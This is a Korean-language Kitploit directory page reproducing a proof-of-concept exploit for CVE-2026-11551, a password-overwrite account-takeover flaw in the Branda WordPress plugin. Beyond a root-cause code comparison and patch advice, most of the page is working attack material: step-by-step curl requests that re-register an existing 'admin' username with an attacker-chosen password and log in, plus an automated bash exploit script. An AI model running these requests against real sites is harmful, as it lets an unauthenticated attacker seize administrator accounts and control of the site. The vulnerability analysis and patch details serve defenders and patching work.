Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
By-Poloss..-..CVE-2026-11551-PoC — Unauthenticated Privilege Escalation via Account Takeover | Kitploit
도구/GitHubGitHub/polosss/by-poloss..-..cve-2026-11551-poc
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubpolosss/by-poloss..-..cve-2026-11551-poc

By-Poloss..-..CVE-2026-11551-PoC

Unauthenticated Privilege Escalation via Account Takeover

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
12개월 전아직 검토되지 않음

CVE-2026-11551: Branda 플러그인 - 계정 탈취를 통한 인증되지 않은 권한 상승

개요

  • CVE ID: CVE-2026-11551
  • CVSS 점수: 9.8 (치명적)
  • 영향 대상: Branda – White Label & Branding <= 3.4.29
  • 패치됨: 3.4.31
  • 공개일: 2026년 6월 19일

취약점 설명

WordPress용 Branda 플러그인은 버전 3.4.29를 포함한 모든 버전에서 계정 탈취를 통한 권한 상승에 취약합니다. 이는 플러그인이 비밀번호를 업데이트하기 전에 사용자의 신원을 제대로 검증하지 않기 때문입니다. 이로 인해 인증되지 않은 공격자가 관리자를 포함한 임의 사용자의 비밀번호를 변경하고, 해당 계정에 접근할 수 있습니다.

기술적 분석

취약 코드 위치

/inc/modules/login-screen/signup-password.php

근본 원인

취약한 버전의 pre_insert_user_data() 함수는 적절한 검증이 누락되어 있습니다:

root@kitploit:~
// 취약한 버전 (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // 멀티사이트 코드...
    }
    // 누락: if ($update) return $data; <-- 취약점
    
    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        // POST 데이터에서 비밀번호 설정
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

패치된 코드 (3.4.31)

root@kitploit:~
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // 적절한 검사가 포함된 멀티사이트 코드...
    }

    // 수정: 기존 사용자 업데이트를 방지하는 검사 추가
    if ( $update ) {
        return $data;
    }

    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

공격 벡터

벡터 1: 멀티사이트 등록 (주요)

  1. 공격자가 /wp-signup.php에 접속
  2. 기존 관리자 사용자 이름(예: "admin")으로 등록
  3. password_1 매개변수를 통해 사용자 지정 비밀번호 설정
  4. Branda가 비밀번호를 가입 메타에 저장
  5. 활성화 시 비밀번호가 기존 관리자의 비밀번호를 덮어씀

벡터 2: 단일 사이트 등록

  1. 공격자가 /wp-login.php?action=register에 접속
  2. Branda가 양식에 비밀번호 필드를 추가
  3. 공격자가 기존 사용자 이름으로 등록 제출
  4. 활성화가 완료되면 비밀번호가 설정됨

개념 증명 (curl)

1단계: 등록이 활성화되어 있는지 확인

root@kitploit:~
curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"

2단계: WordPress 유형 확인 (멀티사이트 vs 단일)

root@kitploit:~
curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"

3단계: 멀티사이트 - 관리자 사용자 이름으로 등록

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-signup.php" \
  -d "user_name=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "signup_for=blog"

4단계: 단일 사이트 - 등록

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php?action=register" \
  -d "user_login=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "wp-submit=Register"

5단계: 활성화 (이메일 확인이 필요한 경우)

root@kitploit:~
# 이메일에서 활성화 키 추출 후 방문:
curl -s -k -c cookies.txt -b cookies.txt \
  "https://TARGET/wp-activate.php?key=ACTIVATION_KEY"

6단계: 확인 - 로그인 시도

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php" \
  -d "log=admin" \
  -d "pwd=NewP@ssw0rd!" \
  -d "wp-submit=Log In" \
  -L | grep -i "dashboard\|wp-admin\|error"

자동화된 익스플로잇 스크립트

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"

echo "[*] $USERNAME 사용자를 $NEW_PASSWORD 비밀번호로 등록 중..."

# 멀티사이트 공격
curl -s -k -c /tmp/cookies.txt \
  -X POST "$TARGET/wp-signup.php" \
  -d "user_name=$USERNAME" \
  -d "[email protected]" \
  -d "password_1=$NEW_PASSWORD" \
  -d "password_2=$NEW_PASSWORD"

echo "[*] 활성화 링크를 위해 이메일 확인"
echo "[*] 활성화 후 시도: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"

익스플로잇 요구 사항

  1. WordPress에 Branda 플러그인 <= 3.4.29가 설치 및 활성화되어 있어야 함
  2. 사용자 등록이 활성화되어 있어야 함 (설정 > 일반 > 멤버십: 누구나 등록 가능 확인)
  3. 성공적인 계정 탈취를 위해: 대상 사용자 이름이 존재해야 함
  4. 멀티사이트의 경우: 활성화 이메일에 접근 가능 (또는 활성화 우회)

해결 방법

Branda 플러그인을 버전 3.4.31 이상으로 업데이트:

root@kitploit:~
# WordPress 관리자를 통해
대시보드 > 플러그인 > Branda > 업데이트

# WP-CLI를 통해
wp plugin update branda-white-labeling

# SSH를 통해
wp plugin update branda-white-labeling --version=3.4.31

영향

  • 기밀성: 높음 - 공격자가 모든 사용자 계정에 접근 가능
  • 무결성: 높음 - 공격자가 콘텐츠를 수정할 수 있음
  • 가용성: 높음 - 공격자가 합법적인 사용자를 잠글 수 있음

참고 자료

  • Wordfence Intelligence
  • WPScan
  • Plugin Trac

W.P.E.F

  • W.P.E.F 텔레그램 채널 #1
  • W.P.E.F 텔레그램 채널 #2
도구 다운로드